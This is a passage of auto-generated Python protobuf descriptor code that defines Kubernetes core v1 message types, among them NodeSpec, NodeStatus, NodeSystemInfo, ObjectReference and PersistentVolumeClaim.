], serialized_start=15392, serialized_end=15509, ) _NODEPROXYOPTIONS = _descriptor.Descriptor( name='NodeProxyOptions', full_name='k8s.io.api.core.v1.NodeProxyOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='path', full_name='k8s.io.api.core.v1.NodeProxyOptions.path', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15511, serialized_end=15543, ) _NODERESOURCES_CAPACITYENTRY = _descriptor.Descriptor( name='CapacityEntry', full_name='k8s.io.api.core.v1.NodeResources.CapacityEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.NodeResources.CapacityEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.NodeResources.CapacityEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15630, serialized_end=15725, ) _NODERESOURCES = _descriptor.Descriptor( name='NodeResources', full_name='k8s.io.api.core.v1.NodeResources', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='capacity', full_name='k8s.io.api.core.v1.NodeResources.capacity', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_NODERESOURCES_CAPACITYENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15546, serialized_end=15725, ) _NODESELECTOR = _descriptor.Descriptor( name='NodeSelector', full_name='k8s.io.api.core.v1.NodeSelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='nodeSelectorTerms', full_name='k8s.io.api.core.v1.NodeSelector.nodeSelectorTerms', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15727, serialized_end=15806, ) _NODESELECTORREQUIREMENT = _descriptor.Descriptor( name='NodeSelectorRequirement', full_name='k8s.io.api.core.v1.NodeSelectorRequirement', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.NodeSelectorRequirement.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='operator', full_name='k8s.io.api.core.v1.NodeSelectorRequirement.operator', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='values', full_name='k8s.io.api.core.v1.NodeSelectorRequirement.values', index=2, number=3, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15808, serialized_end=15880, ) _NODESELECTORTERM = _descriptor.Descriptor( name='NodeSelectorTerm', full_name='k8s.io.api.core.v1.NodeSelectorTerm', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matchExpressions', full_name='k8s.io.api.core.v1.NodeSelectorTerm.matchExpressions', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='matchFields', full_name='k8s.io.api.core.v1.NodeSelectorTerm.matchFields', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15883, serialized_end=16038, ) _NODESPEC = _descriptor.Descriptor( name='NodeSpec', full_name='k8s.io.api.core.v1.NodeSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='podCIDR', full_name='k8s.io.api.core.v1.NodeSpec.podCIDR', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podCIDRs', full_name='k8s.io.api.core.v1.NodeSpec.podCIDRs', index=1, number=7, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='providerID', full_name='k8s.io.api.core.v1.NodeSpec.providerID', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='unschedulable', full_name='k8s.io.api.core.v1.NodeSpec.unschedulable', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='taints', full_name='k8s.io.api.core.v1.NodeSpec.taints', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='configSource', full_name='k8s.io.api.core.v1.NodeSpec.configSource', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='externalID', full_name='k8s.io.api.core.v1.NodeSpec.externalID', index=6, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=16041, serialized_end=16252, ) _NODESTATUS_CAPACITYENTRY = _descriptor.Descriptor( name='CapacityEntry', full_name='k8s.io.api.core.v1.NodeStatus.CapacityEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.NodeStatus.CapacityEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.NodeStatus.CapacityEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=15630, serialized_end=15725, ) _NODESTATUS_ALLOCATABLEENTRY = _descriptor.Descriptor( name='AllocatableEntry', full_name='k8s.io.api.core.v1.NodeStatus.AllocatableEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.NodeStatus.AllocatableEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.NodeStatus.AllocatableEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=16931, serialized_end=17029, ) _NODESTATUS = _descriptor.Descriptor( name='NodeStatus', full_name='k8s.io.api.core.v1.NodeStatus', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='capacity', full_name='k8s.io.api.core.v1.NodeStatus.capacity', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='allocatable', full_name='k8s.io.api.core.v1.NodeStatus.allocatable', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='phase', full_name='k8s.io.api.core.v1.NodeStatus.phase', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='conditions', full_name='k8s.io.api.core.v1.NodeStatus.conditions', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='addresses', full_name='k8s.io.api.core.v1.NodeStatus.addresses', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='daemonEndpoints', full_name='k8s.io.api.core.v1.NodeStatus.daemonEndpoints', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeInfo', full_name='k8s.io.api.core.v1.NodeStatus.nodeInfo', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='images', full_name='k8s.io.api.core.v1.NodeStatus.images', index=7, number=8, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumesInUse', full_name='k8s.io.api.core.v1.NodeStatus.volumesInUse', index=8, number=9, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumesAttached', full_name='k8s.io.api.core.v1.NodeStatus.volumesAttached', index=9, number=10, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='config', full_name='k8s.io.api.core.v1.NodeStatus.config', index=10, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_NODESTATUS_CAPACITYENTRY, _NODESTATUS_ALLOCATABLEENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=16255, serialized_end=17029, ) _NODESYSTEMINFO = _descriptor.Descriptor( name='NodeSystemInfo', full_name='k8s.io.api.core.v1.NodeSystemInfo', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='machineID', full_name='k8s.io.api.core.v1.NodeSystemInfo.machineID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='systemUUID', full_name='k8s.io.api.core.v1.NodeSystemInfo.systemUUID', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='bootID', full_name='k8s.io.api.core.v1.NodeSystemInfo.bootID', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kernelVersion', full_name='k8s.io.api.core.v1.NodeSystemInfo.kernelVersion', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='osImage', full_name='k8s.io.api.core.v1.NodeSystemInfo.osImage', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='containerRuntimeVersion', full_name='k8s.io.api.core.v1.NodeSystemInfo.containerRuntimeVersion', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kubeletVersion', full_name='k8s.io.api.core.v1.NodeSystemInfo.kubeletVersion', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kubeProxyVersion', full_name='k8s.io.api.core.v1.NodeSystemInfo.kubeProxyVersion', index=7, number=8, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='operatingSystem', full_name='k8s.io.api.core.v1.NodeSystemInfo.operatingSystem', index=8, number=9, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='architecture', full_name='k8s.io.api.core.v1.NodeSystemInfo.architecture', index=9, number=10, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17032, serialized_end=17273, ) _OBJECTFIELDSELECTOR = _descriptor.Descriptor( name='ObjectFieldSelector', full_name='k8s.io.api.core.v1.ObjectFieldSelector', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='apiVersion', full_name='k8s.io.api.core.v1.ObjectFieldSelector.apiVersion', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fieldPath', full_name='k8s.io.api.core.v1.ObjectFieldSelector.fieldPath', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17275, serialized_end=17335, ) _OBJECTREFERENCE = _descriptor.Descriptor( name='ObjectReference', full_name='k8s.io.api.core.v1.ObjectReference', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='kind', full_name='k8s.io.api.core.v1.ObjectReference.kind', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='namespace', full_name='k8s.io.api.core.v1.ObjectReference.namespace', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.ObjectReference.name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='uid', full_name='k8s.io.api.core.v1.ObjectReference.uid', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='apiVersion', full_name='k8s.io.api.core.v1.ObjectReference.apiVersion', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resourceVersion', full_name='k8s.io.api.core.v1.ObjectReference.resourceVersion', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fieldPath', full_name='k8s.io.api.core.v1.ObjectReference.fieldPath', index=6, number=7, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17338, serialized_end=17479, ) _PERSISTENTVOLUME = _descriptor.Descriptor( name='PersistentVolume', full_name='k8s.io.api.core.v1.PersistentVolume', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PersistentVolume.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.PersistentVolume.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.PersistentVolume.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17482, serialized_end=17684, ) _PERSISTENTVOLUMECLAIM = _descriptor.Descriptor( name='PersistentVolumeClaim', full_name='k8s.io.api.core.v1.PersistentVolumeClaim', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PersistentVolumeClaim.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='spec', full_name='k8s.io.api.core.v1.PersistentVolumeClaim.spec', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.PersistentVolumeClaim.status', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17687, serialized_end=17904, ) _PERSISTENTVOLUMECLAIMCONDITION = _descriptor.Descriptor( name='PersistentVolumeClaimCondition', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='type', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.type', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='status', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.status', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastProbeTime', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.lastProbeTime', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='lastTransitionTime', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.lastTransitionTime', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='reason', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.reason', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='message', full_name='k8s.io.api.core.v1.PersistentVolumeClaimCondition.message', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=17907, serialized_end=18141, ) _PERSISTENTVOLUMECLAIMLIST = _descriptor.Descriptor( name='PersistentVolumeClaimList', full_name='k8s.io.api.core.v1.PersistentVolumeClaimList', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.PersistentVolumeClaimList.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='items', full_name='k8s.io.api.core.v1.PersistentVolumeClaimList.items', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=18144, serialized_end=18295, ) _PERSISTENTVOLUMECLAIMSPEC = _descriptor.Descriptor( name='PersistentVolumeClaimSpec', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='accessModes', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.accessModes', index=0, number=1, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='selector', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.selector', index=1, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='resources', full_name='k8s.io.api.core.v1.PersistentVolumeClaimSpec.resources', index=2, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, 